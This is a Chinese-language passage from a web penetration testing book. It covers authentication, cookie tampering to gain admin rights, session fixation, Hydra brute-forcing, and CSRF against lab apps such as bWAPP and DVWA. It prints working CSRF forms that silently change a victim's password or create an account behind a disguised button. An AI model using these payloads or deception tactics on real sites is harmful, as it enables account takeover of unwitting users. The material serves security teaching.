如果您熟悉罗尔德·达尔(Roald Dahl)的著作《查理和巧克力工厂》,您会知道孩子们在糖果中找到的金奖券为他们打开了一些非常独特的大门,并帮助查理·巴克特赢得了最终的奖品。虽然我们的目标可能不会给受害者糖果,但他们正在发放自己的券—提供持续和特权访问的令牌。对我们来说,诀窍在于了解如何利用这一点。

为了解决用户群体繁重的认证问题,需要不断发展解决方案。最初的尝试是将用户与会话关联起来,网页开发人员将唯一的会话 ID 代码嵌入后认证数据包中,以便记住用户、跟踪他们的活动并提供持续访问。这些有状态的密钥是不受保护的,有时仍然是不受保护的;黑客要么窃取和重复使用这些密钥,要么使用会话固定来欺骗用户,使其认可攻击者创建的会话 ID 或令牌,使用包含会话 ID 的恶意重定向,然后进行认证。保护这些 ID 的努力已经取得了长足的进步,我们现在看到使用加密令牌,这些令牌既模糊了令牌本身,甚至还使用客户端脚本来帮助确保关系的完整性。

注意

无论可用的对策如何,应用程序开发人员都是习惯动物,他们会使用 cookie 和令牌来携带各种敏感信息。听起来像是渗透测试员要解决的有趣问题!

通常使用三种方法来提取和传输凭据:基本身份验证、基于表单的身份验证和基于摘要的身份验证。下表帮助我们了解每种方法的优势、劣势、应用和特殊注意事项:

优势 劣势 典型应用
基本 通常是 SSL/TLS 加密的。 如果没有适当加密,容易受到客户端脚本的攻击和捕获
  • Web API

  • 移动应用程序持久性

|

基于表单的 对用户干扰最小 这最有可能是不受保护的,推断数据库内容,或者暴露未使用的字段
  • 网站和门户的传统凭据挑战。

|

基于摘要的 基本 + 机器哈希 这相对安全 - 在当前技术水平下是最好的
  • Web API

  • 移动应用程序持久性

|

让我们看看用户在他们端看到的内容,然后我们可以开始攻击!

基本身份验证

一些网站允许用户凭据通过 HTTP 请求本身中专门用于此目的的字段传递到认证的 Web 服务器。这被称为基本身份验证,可以通过用户输入或更常见的是通过在客户端脚本或浏览器插件中实现的预配置配置文件来配置。虽然这似乎是一种容易受到攻击的方式,但如果做得正确,该机制通常受到 TLS 加密的保护,并且实体都在利用证书来提供更大的确定性。这在应用程序编程接口API)和操作员和支持人员使用的企业内部网络应用程序中非常常见,一些移动应用程序也会使用这种技术来保持对其服务器的安全访问。

基于表单的身份验证

尽管存在基本身份验证,大多数用户将熟悉不同形式的默认用户界面。基于表单的身份验证对用户将会是相当直观的。向客户端发出的身份验证挑战是一个表单,通常需要用户名或电子邮件地址,至少需要一个密码或口令。在大多数情况下,没有对服务器进行验证和身份验证--基于表单的身份验证假设服务器是一个受信任的设备。这是攻击者倾向于利用的一个重大弱点。

用户提供的变量在提交时实际上是作为与 HTTP 请求本身相关的带外执行的,作为一些封装数据而不是使用内置的 HTTP 身份验证规定。黑客也会发现这些提交值值得攻击,因为单个用户的有效凭据可以提供足够的空间,使他们能够发起一系列其他攻击并避开几层保护,伪装成真正的经过身份验证的用户。

基于摘要的身份验证

基于摘要的身份验证采用基本身份验证的基本原理,但应用 MD5 哈希和一个一次性码,希望比单独的基本身份验证提供更高的安全性。一次性码就像是一次性密码的机器版本--一个只能应用一次并且只有一次有效的数字,使哈希免受重放攻击的影响。

信任但要验证

公众对简单凭据身份验证的局限性的认识终于开始赶上,因为现在许多人现在需要在他们的身份验证过程中使用额外的因素。双因素认证现在已经成为主流,虽然它起初是在企业 VPN 使用中出现的,但现在已经传播到各种应用程序甚至是消费者产品和服务。谷歌、Dropbox、Facebook 以及它们的竞争对手--现在都提供不同形式的双因素认证来帮助保护他们的用户并减少公司的负面曝光。以下是一些额外因素(不仅仅是密码):

  • 硬件令牌:作为最早的措施之一,由几家公司提供的硬件令牌专门发放给员工或承包商,并显示出提供第二因素的时间代码。随着其他更容易部署的机制的兴起,这些硬件令牌已经逐渐减少了。

  • 一次性密码(通过受信任的设备):今天在消费者和企业应用程序中得到广泛使用(如下图中的 Dropbox),这种技术是硬件令牌的软件版本。除了通过短信、短信或电子邮件提供代码外,许多应用程序还允许将它们的一次性密码与 Google Authenticator、PingID 等应用程序同步。

Dropbox 2FA in action

  • 智能卡:这些卡通常出现在更严格的环境中(政府、国防等),在这些环境中,不仅需要防止对应用程序的访问,还需要防止对运行该应用程序的工作站或设备的访问。通常情况下,使用智能芯片的卡,还有使用 USB dongles、磁性令牌和老式的机械钥匙的实现。

  • 生物识别:作为 2FA 的最新补充,生物识别扫描和测试长期以来一直是物理访问控制的关键元素。常见的测试包括指纹或手印扫描、视网膜扫描、语音识别,现在甚至连面部识别也开始悄悄地出现。一些移动设备制造商和现在的金融应用程序正在利用面部和语音识别来解锁设备,并为移动应用程序提供额外的因素。

与前述方法相比,以下额外信息的安全性要低得多,这些信息通常被传统应用程序或自定义认证门户使用,以阻止暴力破解尝试或模糊测试。话虽如此,这些方法也经常受到攻击者的攻击,因为它们都是社会工程攻击的常见素材,很容易从相关信息泄漏中提炼出来,缺乏时间敏感性,有时在暗网上作为被破坏的账户列表的一部分可获得。如果正在使用这些方法,它们应该是前述更加严格的 2FA 方法的补充:

  • 安全问题:通常来自常见选项列表的一个或多个问题是典型的,考虑到多年来这些问题已经被用于攻击验证,它们在暗网的泄漏中几乎和用户名本身一样普遍。用户经常在多个服务中类似地回答这些问题,这些问题通常是账户恢复过程的一部分。如果攻击者猜到答案或购买答案,就有很大可能发生重大的多站点违规行为。

  • 图片回忆:一些应用程序将更传统的凭据与记忆图片结合起来,要求用户从随机场景或对象中进行选择,并期望用户记住这些内容以供将来登录。这种保护还可以防止自动暴力破解尝试和模糊测试,因为需要进行空间输入。人类行为是什么样子,用户会选择代表他们兴趣的图片。社会工程可以极大地提高猜测的机会。

  • 账户信息:最早的增强认证形式之一是要求门户网站从账户号码、地址或电话号码中请求数字。我希望这是不言而喻的,但如果这是我们客户对 2FA 的理解,他们急需进行一些有效的渗透测试,并随后指导正确的安全性。

这就是你要找的会话


现在我们已经看到了 Web 应用程序开发人员试图让我们的工作变得困难的所有方法,让我们看看我们如何测试他们的工作。我们将看到我们可以攻击信任链的几个地方,测试会话管理机制的弹性,并学会克服它们。

吃点饼干?

大多数攻击者和渗透测试人员会发现,会话信息的松散管理通常是入侵应用程序的最简单途径。 Cookies 是会话信息的一个相当广泛的术语,拦截和篡改这些信息可能会带来意外收获。 Burp Suite 非常适合使用其代理拦截重复器功能来帮助进行此操作。对于这个测试,我们将通过 Firefox 登录到我们的Mutillidae(OWASP Broken Web App VM)应用程序的A2 - Broken Authentication and Session Management | Privilege Escalation | Login页面(如下截图所示):

选择 Mutillidae 会话管理实验

对于这个测试,让我们继续使用我们之前刚好找到的一些凭据(通过社会工程或第七章中涵盖的各种方法,注入和溢出测试)并在用户名和密码中输入user。一旦我们经过身份验证,我们将打开代理拦截并刷新页面,允许我们捕获 HTTP 消息(如下截图所示)以及它们包含的 cookie 数据。

寻找模糊的 cookies

我们可以很清楚地看到,Web 开发人员试图在 cookie 中做很多事情,但不知何故忘记了保护它。我们可以看到我们会话的用户名、用户 ID(uid)和 PHP 会话 ID(PHPSESSID)都包括在内,而且似乎会话没有关联的超时(max-age=0)。让我们将这个请求传递给我们的 Burp Repeater,看看我们能造成什么样的破坏。右键单击事件,然后单击Send to Repeater将请求加载到Repeater工具中;单击它现在突出显示的选项卡,并选择Params选项卡,以显示以下截图中的选项:

使用 Repeater 工具进行 cookie 操作

正如你所希望的那样,cookie 本身的参数可以被改变(由橙色字段标出)。我们还可以添加或删除(使用绿色标出的适当按钮)cookie 的部分,以确定它们对会话完整性的重要性和影响。当我们逐步进行修改时,我们可以查看右侧(在Response部分的Render选项卡中)来查看我们操纵的最终结果(在这种情况下,登录状态和用户名的变化,用红色标出)。如果你走得太远,剥夺或改变太多,也不用担心-前进和后退按钮可以帮助你随时返回查看影响。

在这种情况下,UID 和 PHPSESSID 都能够独立地维护会话的状态(如下截图所示),这意味着只有当你同时从请求中删除这两个时,你才会失去会话并看到注销。

使用 cookie 的基本要素维护状态

这也意味着每个用户只有一个有效的会话,但如果需要的话,你可以很容易地创建自己的经过身份验证的会话。嗯,我想知道我们现在真的想成为哪个用户?嗯,假设默认的 SQL、XML 或其他用户表格式已经就位,而且没有采取加固措施,我们可以尝试在下面的截图中做一些更有抱负的事情:

模糊 UID 以提供管理员权限

正如你所看到的,这个简单的例子帮助你学会了通过使用 Burp Suite 的Repeater工具中的一些有趣的技巧来操纵 cookie 的组件从而获得 root 权限。当然,这需要我们捕获一个经过身份验证的会话。但是如果我们没有一个,或者我们想要欺骗用户解锁我们可能遇到的所有 2FA 陷阱呢?

不要吃模糊的 cookies

当一个单独的 Cookie 需要处理时,更加手动的Repeater过程可能是很有意义的。然而,当我们想要暴力破解 Cookie 时,使用 Burp Suite 的顺序器可能更能节省我们的时间,因为它可以帮助我们分析应用程序如何维护会话随机性。

为此,我们需要访问一个应用程序并捕获带有会话 ID 的请求。选择独立的Damn Vulnerable WebDVWA)应用程序(独立的而不是 OWASP BWA 捆绑版本,后者无法适当地暴露 Cookie)。让我们选择一个合适的请求,右键单击事件,然后Send to Sequencer,就像我们在下面的截图中看到的那样:

找到适合顺序的请求

Sequencer选项卡中,我们可以开始突出显示我们想要使用Sequencer进行随机化的字段,如下截图所示。对于这个测试,我们真正关心的是应用程序如何随机化 PHPSESSID,因此我们将相应地选择它,然后点击Start Live Capture按钮:

配置顺序器

这将弹出一个特殊窗口,允许您查看完成了多少次迭代。在至少运行了 100 次或更多次迭代之后,您可以选择停止该过程或继续迭代;与此同时,您还可以对随机性进行分析。如果一个应用在这方面得分较低,通常意味着我们有合理的机会对会话密钥进行模糊处理,并劫持与该会话关联的可怜用户的访问。我们可以看到当我让测试运行超过 5700 个会话时的情况(这只需要几分钟),如下截图所示:

会话随机性的顺序器分析

如果我们想要保存 Cookie 以备后续会话固定候选人使用,我们可以将它们放入文件并保存以备将来使用。

会话随机化是衡量应用程序构建得有多好以及客户开发人员有多注重安全性的重要指标。还记得我们讨论过的 Web 开发人员如何使用 Cookie 来存储会话 ID 以外的内容吗?顺序器在 Web 应用程序渗透测试中有很多其他应用,因为令牌用于远不止跟踪会话状态。Burp Suite 的文档在帮助理解工具的其他功能方面做得非常好(在Help菜单中可用),而 Packt 书籍Burp Suite Essentialswww.packtpub.com/hardware-and-creative/burp-suite-essentials)可能是一个很好的资源。

绝地会话技巧

黑客对自定义身份验证前端的常见攻击是会话固定。黑客依赖于开发人员没有考虑如何充分保护和排序他们的会话 ID。通过社会工程学(简单的电子邮件或即时消息就可以),黑客能够传递一个带有预置无效会话 ID 的 URL 字符串。如果这是我们的测试,我们肯定希望有其他流量用作模板或从扫描或秘密收集中了解应用程序,以便我们能够提供应用程序期望的会话 ID 格式和长度。配置不当的身份验证门户将允许我们的受害者携带自己的会话 ID(哈!BYOSID?),并通过验证自己的凭据甚至 2FA,使会话 ID 合法化。我们等待的测试人员随后可以使用这个新的合法会话 ID 肆意妄为,并冒充受害者。

一个安全的应用程序应该通过确保会话 ID 或 cookie 在认证时发生变化来防止造成损害,但事实证明,这并不像我们所希望的那样标准。这在在线购物网站中也很常见,这是非常危险的,因为合法用户可能只需进行一次快速的社交攻击就可以获取支付信息。进行会话固定攻击的常见方法如下截图所示:

会话固定的一般方法

当然,最容易使用这种攻击的网站可能是那些将会话 ID 或 cookie 作为 URL 字符串的一部分的网站。然而,我们通常需要通过一些巧妙的客户端脚本或元标签包含来设置 cookie。在 OWASP BWA VM 上包含的WebGoat应用程序是一个练习整个过程的好方法,从生成虚假链接欺骗用户进行认证,从而使其合法化,最终结果类似于以下截图,Joe Hacker 通过欺骗受害者 Jane,能够使用他的会话 ID 使她进行认证,然后跟在她后面获得完全的账户访问权限:

使用 WebGoat 练习会话固定

最可怕的部分实际上可能是一旦进入账户,Joe Hacker 实际上可以强制更改账户密码,重定银行交易,并锁定用户!许多保险、人力资源和金融网站很少被普通员工使用,因此黑客通常可以在账户通知提示受害者被骗之前有一个月甚至更长的时间来采取行动。

功能访问级别控制


到目前为止,我们讨论的大多数技术和问题都涉及到坏人(或我们)获取他们本不应该拥有的信息。在 OWASP 2013 年十大安全威胁中(www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References),这被称为不安全的直接对象引用IDOR),排名第 4。然而,还有另一个问题,曾经是排名第 7 的,被称为缺失的功能访问级别控制www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control),其 2013 年 OWASP 总结如下截图所示。这个类别意味着不小心或不适当地向攻击者披露功能而不是信息

OWASP 2013 年第 7 号威胁:缺失的功能访问级别控制

在大多数情况下,当试图访问隐藏页面或在认证会话中尝试隐藏命令时,这种缺陷就会被注意到,这些命令本不应该具有这些特权。Web 开发人员可能会误将混淆视为安全,而不是与策略引擎搏斗,他们只是依靠隐藏功能或命令而不是明确地阻止它们的使用。使用 Burp Suite 或 OWASP ZAP 进行扫描可以快速找到目标站点值得测试的候选区域,并且扫描过程甚至可能提供问题的部分验证。

精炼暴徒的词汇


我们上面看到的许多攻击企图劫持会话,欺骗用户代表他们建立会话,或者利用应用程序无法强制执行规则的能力。最终,我们将找到一个需要解决的问题,那就是猜测密码。有大量的工具可以尝试这个非常基本的任务,但总的来说,它们的方法是一样的——通过使用通过全面暴力引擎生成的单词列表(例如使用crunch),精炼的单词列表和音节引擎(John the RipperTHC-Hydra等),甚至通过使用预先计算的解决方案(使用彩虹表和类似的解决方案)进行迭代。

对于 Web 应用程序,Burp Suite 是一个用于暴力攻击的好工具,您可以参考第五章, **使用 OWASP ZAP 和 Burp Suite 进行代理操作,看看它可能如何使用,并仅将相同的模糊技术应用于密码字段。我们还可以使用 THC-Hydra 等工具对 Web 登录页面进行暴力攻击。当熟悉 THC-Hydra 的功能和格式时,练习使用xHydra** GUI 前端是有帮助的。要使用 xHydra(也称为hydra-gtk),您可以使用下面截图中显示的菜单中的快捷方式调用该进程,或者在 CLI 中键入xhydra

寻找 Hydra 的 GUI 前端

一旦我们打开了 Hydra 的 GUI,我们就可以开始配置我们需要解决目标的选项。Target标签(如下截图所示)允许我们指向正确的 IP 或主机名,识别我们正在针对的请求提交类型(在本例中为http-post-form),甚至切换日志记录、调试和详细模式:

Hydra 目标信息

Passwords标签中(如下截图所示),我们可以配置 hydra 使用单个提交或从用户名和密码列表中提取。许多应用程序缺乏密码复杂性规则,将允许用户在某些帐户中使用用户名或空格,因此提供了复选框,以允许我们检查这些内容。反向登录允许您尝试颠倒用户名的顺序并尝试将其作为密码。

设置用户名和密码列表

我们最后的调整将出现在Specific标签中(如下截图所示)。在这里,我们正在测试的所有重要 URL 模式被定义。我们填写的字段需要从浏览器的View Source,浏览器的插件,或者使用 Burp Suite 的 Proxy Intercept 中获取。无论哪种情况,由Passwords标签填充的变量将被标记为^USER^^PASS^。最后一个字符串实际上是任何表示失败身份验证的标识字符串。在 DVWA 中,该字符串将在返回的结果中看到login.php,从而将我们推向相同的登录门户。如果我们将其应用于 Mutillidae,我们可以使用Not Logged In

目标的适用 URL 答案会因网站而异,这些信息通常是通过扫描、蜘蛛爬行或传统的冲浪收集的。

指定评估的 URL

我们最后一步是实际从Start标签运行扫描(如下截图所示)。我们可以观察扫描的迭代——由于我们的详细标志,任何成功的结果都将在输出的底部说明。我们还可以看到我们的 GUI 配置的 CLI 等效,以便您可以重复这些扫描作为脚本的一部分或移动到 CLI 中进行调整。一个警告或澄清——我发现 CLI 很挑剔,它在使用的 URL 字符串的格式化方面存在问题,或者为选项添加的顺序标志有时会产生非常不同的结果。使用 GUI 工具可以消除很多不确定性,是避免这些相同陷阱的好方法。

查看 Hydra 的结果和命令行版本

Hydra 作为一个专门用于暴力破解的工具,是解决网络和非网络凭证黑客攻击的一种绝妙方式。老话说“垃圾进,垃圾出”在这里也适用——我们的结果只会和输入工具的密码和用户列表一样好,所以我建议探索更好地组织你的 OSINT 收集的方法。熟悉 Kali 中包含的各种工具中的字典,熟悉像 Crunch(https://sourceforge.net/projects/crunch-wordlist/)和 CeWL(https://digi.ninja/projects/cewl.php)这样的工具,以帮助生成字典。还值得调查基于哈希的攻击,这样我们就可以避免对密码进行加密哈希,并利用更多的单点登录(SSO)、开放认证(OAuth)和混合认证架构,这些架构通常在 Microsoft AD 环境中使用。这些基于哈希的方法(比如 Pass-the-hash:https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283)在全套渗透测试中更有意义,系统测试在范围内。

总结


认证是网络信任的基础。在这个领域的妥协可能不像应用程序的其他方面那样引人注目,但影响至关重要。认证或会话管理的破坏使所有其他安全措施都变得无效。教导客户理解这一点很重要,但我们需要倡导更广泛地采用临时 2FA,重复使用标准化和广为人知的框架,而不是自制门户,以及在软件开发生命周期的所有阶段持续进行渗透测试,以确保应用程序的成熟不会留下一个可信的、加固的认证未完成。

在本章中,我们看到了 Web 应用程序可以识别和验证用户并分配权限的许多方式。我们现在有了测试应用程序中会话管理的韧性以及直接获取凭证的工具。Burp Suite、Hydra、OWASP ZAP,当然还有你的浏览器和一些 OSINT,将对验证目标的加固非常有用。

在第十章,启动客户端攻击,我们将把客户端攻击提升到一个新的水平,并重新审视基于 DOM 的跨站脚本。您还将学习如何利用客户端发起攻击并提升我们的权限,代表您劫持通信,甚至了解神秘的跨站请求伪造。我们已经接近终点了,朋友们,我很高兴你们还和我在一起!让我们继续前进,攻击一些浏览器。

第十章:发动客户端攻击

Web 应用程序测试应该合理地关注我们正在测试的应用程序及其支持基础设施。到目前为止,我们关注的大多数攻击都对应用程序的前门进行了测试,或者利用客户端会话来获取非法访问。我们的客户将所有的安全预算都用于加固基础设施,其中一部分用于加固 Web 应用程序本身。也就是说,谁来照顾他们的客户端呢?

客户端本身的暴露以及用户的易受攻击性之间,我们将有多种测试向量。软件组合和用户行为的数量庞大,与其他服务和 Web 应用程序的重叠,以及访问方式的多样性(移动端与桌面端、漫游与代理、厚客户端与薄客户端与 Web 客户端等等),使得这对应用程序开发人员来说是一个极其艰巨的前线。他们最好的路径是加固应用程序本身,关闭任何漏洞,并确保应用程序关闭任何反射攻击向量和屏幕已经受到损害的主机。

大多数客户端渗透测试将以灰盒或白盒测试范围的形式出现,因为大部分攻击类型利用了应用程序自身的代码或脚本。这并不构成重大障碍,我们很快就会看到。在本章中,我们将看到多种方式,通过这些方式我们可以妥协终端点——无论是它们的通信还是主机本身。有了这些知识,就有了大量的 Web 应用程序攻击方式,可以降低目标服务的质量,这些必须进行彻底的调查。

本章将帮助您学习以下主题:

  • 学习基于 DOM 的 XSS 攻击的工作原理以及如何实施它们

  • 了解 JavaScript 嵌入如何被用来妥协客户端

  • 学习如何使用客户端 URL 重定向和资源操纵

  • 了解点击劫持和 Websockets 如何提供额外的进入客户端的途径

  • 了解和实施执行跨站请求伪造和劫持通信的攻击

为什么客户端如此脆弱?


客户端攻击涵盖了 OWASP 2013 和 2017 年十大威胁类别中的几个。使用基于 DOM 的跨站脚本攻击(XSS)是一种利用验证中的弱点将脚本嵌入到 Web 响应中并将代码插入到客户端的强大方法。基于客户端的 DOM XSS 可以向客户端传递代码,以影响对 Web 应用程序所做的妥协,但黑客将利用各种漏洞来达到并影响客户端,例如未经验证的重定向和转发、Websockets 攻击或点击劫持。OWASP 十大 2013 年和 2017 年版本中的第三类漏洞是跨站请求伪造(CSRF),它利用受害者客户端作为枢纽,并利用其经过身份验证的状态来妥协其他站点。

还有其他攻击会渗透到 OWASP 十大中的其他领域,并且在之前的努力中已经涵盖过,但我们将在本章中重新讨论其中一些,以确保我们了解如何最好地测试和利用它们。这些威胁的共同点是它们利用了 Web 应用程序服务器端实现的问题,以影响客户端的行为或完整性。因为这些攻击通常意味着可以访问交付给客户端的代码,所以大多数这些技术在黑盒测试中不适用,而是在白盒或灰盒测试中使用。攻击者当然可能会从内部的角度使用这些技术,因此客户端攻击通常是从环境中的初始立足点到横向移动或特权升级攻击的一个组成部分。

DOM,Duh-DOM DOM DOM!!

基于 DOM 的 XSS 应该让准备不足或未受保护的网络应用环境和负责团队感到恐慌。正如我们在第六章中讨论的通过跨站脚本攻击渗透会话,大多数 XSS 攻击利用了输入验证的缺失来插入脚本(通常是 JavaScript)以影响客户端如何解释或与网站交互。基于 DOM 的攻击是这些攻击的一个子集,它影响客户端的浏览器,其中 DOM 位于其中,以维护其对应用程序正在做什么和呈现什么的本地视图。通过嵌入脚本,用户当然可以影响客户端的行为,但目标和目的的多样性令人震惊,而且工具的强大(浏览器利用框架BeEF)在协助 XSS 方面表现出色)。这些攻击主要集中在攻击客户端以黑客客户端并获取信息或专注于最终用户。

2013 OWASP 十大概要#3:XSS 攻击

恶意误导

未经验证的重定向转发包括开放重定向UI 伪装客户端 URL 重定向的漏洞。这些攻击类型涉及将恶意链接放入用户的路径,强制连接到意外站点以进行额外攻击,无论是启动恶意软件下载还是拦截未来的通信或凭据。网络应用程序本身也参与其中,因为这意味着开发人员没有部署足够的代码验证、会话管理,或者依赖于有缺陷、因此容易受到攻击的框架或模块。

OWASP 2013 十大威胁将这一威胁排名为第 10 位(如下图所示),但 2017 年版本(在当前草案中)已将其换成了应用程序接口API)漏洞。这并不意味着未经验证的重定向和转发不再构成威胁,而是最近它们并不像以前那样普遍和令人担忧。这些攻击,如基于 DOM 的 XSS,往往以黑客用户为最终目标。

2013 OWASP 十大概要#10:未经验证的重定向和转发

抓住我,如果你能!

1980 年的书籍和随后的 2002 年电影抓住我,如果你能是关于现实生活中的伪造者和骗子弗兰克·阿巴格内尔的一次伟大的冒险,他擅长操纵人们,让他们兑现伪造的支票或以其他方式代表他采取行动。黑客可以利用类似的社会工程技能和看起来真实的请求来将毫无戒心的客户端转向服务器,并利用他们的信任关系来传递恶意命令。跨站请求伪造CSRF)是一种针对客户端使用应用程序漏洞的攻击,但实际上是为了将客户端转向其应用程序。

2013 OWASP 十大概要#7:跨站请求伪造

欺负小家伙


现在我们知道攻击的目的是什么,我们有特权来测试和验证这些漏洞是否存在。在本节中,我将提供一些关于如何最好地在扫描这些功能时实现全面覆盖的指导,但我们还将探讨如何利用它们进行黑盒攻击和系统性渗透测试范围。

在别人的板上冲浪

CSRF 攻击(有时发音为sea-surf)隐藏了引用操作的实际意图,并将其埋藏在伪造的请求中。用户希望相信页面是按照其呈现的样子(因为嘿,它来自我信任的网络应用!),因此没有理由调查隐藏在主体或标题中的底层隐藏字段或请求操作,实际上这些操作对服务器发起了恶意行动。通过这些攻击,黑客可以让用户在不知情的情况下利用其经过身份验证的会话对服务器发起攻击,就像是使用他们的身份验证会话作为特洛伊木马一样。

在大多数代理扫描仪的扫描和蜘蛛功能中,都包括了对 CSRF 漏洞的潜在存在进行扫描--Burp Suite、OWASP ZAP 和 Wapati。Burp 通常会标记为这样(如下面的屏幕截图所示),并提供关于攻击含义以及如何防止的链接和指导:

Burp Suite 的扫描显示 CSRF 漏洞

简单的账户接管

然而,进行 CSRF 攻击通常不是使用这些工具进行的,而是使用浏览器和记事本。如果您发现在您的测试中进行 CSRF 攻击是有意义的,这里是一个执行这种攻击的示例。在这个练习中,我们将利用 OWASP BWA VM 和Broken Web App(BeeBox)再次导航到适当的页面(如下面的屏幕截图所示):

访问 bWAPP CSRF 练习链接

一旦我们进入门户,我们可以继续查看门户的源代码(在 Firefox 中,这涉及使用Ctrl + U或导航到工具 | Web 开发人员 | 页面源)。这将显示页面上的 HTML(如下面的屏幕截图所示),但我们想要修改用户输入部分,以愚弄可怜的受害者改变他们的密码为我们所偏爱的密码。让我们继续复制这一部分(包括<form</form>之间的所有内容)。

收获 HTML 以进行 CSRF 利用

我们的目标是让已经经过身份验证的用户允许我们借用他们的账户并将他们的凭据更改为我们所偏爱的密码(他们真是太好了!)。我们可以通过修改字段来实现这一点,如图所示,在这里插入我们所偏爱的密码(用粗体文本突出显示)。我还更改了按钮的名称,以帮助掩盖正在发生的变化--您可以将其设置为登录或其他他们更有可能想要点击的内容:

<form action="/bWAPP/csrf_1.php" method="GET">
    <p><label for="password_new">New password:</label><br />
    <input type="password" id="password_new" name="password_new" value="dude"></p>
    <p><label for="password_conf">Re-type new password:</label><br />
    <input type="password" id="password_conf" name="password_conf" value="dude"></p>
    <button type="submit" name="action" value="change">Click Here</button>
</form>

当我们保存这个文件(我选择了pw.html)并查看它时,我们应该看到一组填充的字段,类似于我们在下面的屏幕截图中看到的。当用户点击这些 CSRF 片段时,如果原因模糊且字段被隐藏,这有助于我们。我们不希望他们知道我们正在强制更改密码(或者我们可能正在设计 CSRF 攻击以实现其他目的)。

CSRF 修改的结果

<form action="/bWAPP/csrf_1.php" method="GET">) in the first line, which included a referential link to the referring page (/bWAPP/csrf_1.php). We need to replace that page with the full URL (as shown in the following screenshot) so that we can ensure that our form data is dropped into the real page's fields:

我们的 HTML 中修改的字段

现在,我们修改后的 HTML 已经完成,但是我们如何将这份礼物送给我们的受害者呢?您可以将此攻击与 XSS 攻击相结合,通过电子邮件发送,或将其嵌入伪造的页面中。要测试代码本身,我们只需打开页面并单击点击这里按钮。幸运的话(在这些令人敬畏的黑客攻击中谁还需要运气?),您将看到与下面屏幕截图中所见类似的消息:

CSRF 执行将受害者带到真正的页面

正如我们所看到的,这是一个非常有帮助的工具,可以 compromise 客户。黑客们不仅使用这个来修改凭据,还用来将资金重定向到不同的账户,并交付其他攻击修改(使用经过身份验证的用户来交付 XSS 或注入攻击)。幸运的是,有方法可以消除这些漏洞,但是 Web 应用程序需要包含这些方法。一些内容管理系统CMSs)在结构中构建了保护措施(如 Joomla!、Drupal 等);但对于一些框架和从头编写的 PHP 和 ASP.NET 页面,开发人员可能需要添加保护措施或加固他们的交互页面,使用 OWASP(www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet)或他们的 CMS 提供商的建议。

你不知道我是谁吗?账户创建

接管一个账户可能在短期内奏效,但通常我们希望在应用程序上保持持久的存在,而不是让一个非常愤怒或沮丧的受害者试图夺回控制。如果我们能够访问管理员的账户或者愚弄管理员用户点击链接,有时我们可以让他们帮助我们自己创建一个账户!

诀窍是已经定位或准确猜测到新用户或账户创建页面的 URL。一旦我们做到了这一点,我们可以使用类似于我们第一次 CSRF 攻击的攻击来自动化账户创建,并将我们想要在其上使用的适当种子凭据传递给它。通过使用 bWAPP 再次进行演示,我们可以看到这是如何工作的,并从顶部菜单栏中选择创建用户。您将看到下面截图中显示的字段,我已经填写了我想要的账户信息:

我们需要填写的创建用户字段

当我创建一个账户时,Burp 可以帮助我捕获字符串,其中包括我们想要的所有信息(如下截图所示)。现在,我们有两个选项可以尝试利用:CSRF 和 HTMP 注入,这些在第七章中已经涵盖了,注入和溢出测试。假设出于论证的目的,注入不可行(也许目标的开发人员已经关闭了这个漏洞),我们将进行 CSRF 攻击。

为我们的伪造找到 URL 字符串

对于 CSRF 攻击,我可以从类似我捕获的 HTML 文件开始:

<form action="/bWAPP/user_extra.php" method="POST">
    <table>
    <tr><td>
        <p><label for="login">Login:</label><br />
        <input type="text" id="login" name="login"></p>
    </td>    
    <td width="5"></td>
    <td>
        <p><label for="email">E-mail:</label><br />
        <input type="text" id="email" name="email" size="30"></p>
    </td></tr>
    <tr><td>
        <p><label for="password">Password:</label><br />
        <input type="password" id="password" name="password"></p>
    </td>
    <td width="25"></td>
    <td>
        <p><label for="password_conf">Re-type password:</label><br />
        <input type="password" id="password_conf" name="password_conf"></p>
    </td></tr>
    <tr><td colspan="3">
        <p><label for="secret">Secret:</label><br />
        <input type="text" id="secret" name="secret" size="40"></p>        
    </td></tr>
    <tr><td>
        <p><label for="mail_activation">E-mail activation:</label>
        <input type="checkbox" id="mail_activation" name="mail_activation" value="">
    </td></tr>
    </table>
    <button type="submit" name="action" value="create">Create</button>
</form>

现在,为了特别隐秘,我们需要确保接收此页面的人不理解我们让他们做什么。诀窍是隐藏字段并利用隐藏属性来使我们的请求通过他们的好奇检查。我可以通过修改源代码来消除所有标签并隐藏所有用户输入,除了一个submit按钮,同时嵌入我想要的凭据而不让用户知道:

<form action="http://172.16.30.129/bWAPP/user_extra.php" method="GET">
        <input type="hidden" id="login" name="login" value="test1"></p>
        <input type="hidden" id="email" name="email" value="test1@example.com"></p>
        <input type="hidden" id="password" name="password" value="dude"></p>
        <input type="hidden" id="password_conf" name="password_conf" value="dude"></p>
        <input type="hidden" id="secret" name="secret" size="40" value="Hello Hackers"></p>
        <input type="hidden" id="mail_activation" name="mail_activation" value="">
        <button type="submit" name="action" value="create">Log In Here</button>
</form>

当受害者加载时,这将导致页面看起来像以下截图所示的页面。我们可以使该按钮看起来像任何东西(“赢得 100 万美元!”、“验证电子邮件”和“注册研讨会”都是可行的选项)。我们甚至可以将其嵌入到图片中作为链接;我们的目标是制作一个看起来无害且与用户预期行为相关的东西。

简单的登录页面,对吧?

当用户点击这个按钮时,我们会看到可怜的认证受害者具有创建账户的权限,就像下面的截图中所示!关键在于知道预期的字段是什么。OSINT 可以帮助,因为通常新员工的说明和帮助门户会毫不保留地透露这一点。我们还可以根据组织内的其他趋势做出一些合理的猜测。

账户已创建,谢谢!

应该注意的是,CSRF 是黑客和防御者之间非常活跃的猫鼠游戏创新领域。反 CSRF 令牌已经成为保护用户的手段;但是,就像所有漏洞一样,正如我们在本书中所看到的,执行通常是最薄弱的环节。如果使用了反 CSRF 令牌,黑客(和我们)可以尝试在我们的 CSRF 页面中使用 JavaScript 来捕获客户端的任何反 CSRF 令牌,并将其滑入我们的 GET 或 POST 请求中,以确保我们规避这种保护。更好的反 CSRF 实现将通过实施临时和上下文驱动的令牌来防止这种情况,但如果他们没有这样做,那么规避这些控制的可能性是相当大的。

相信我,我知道路!

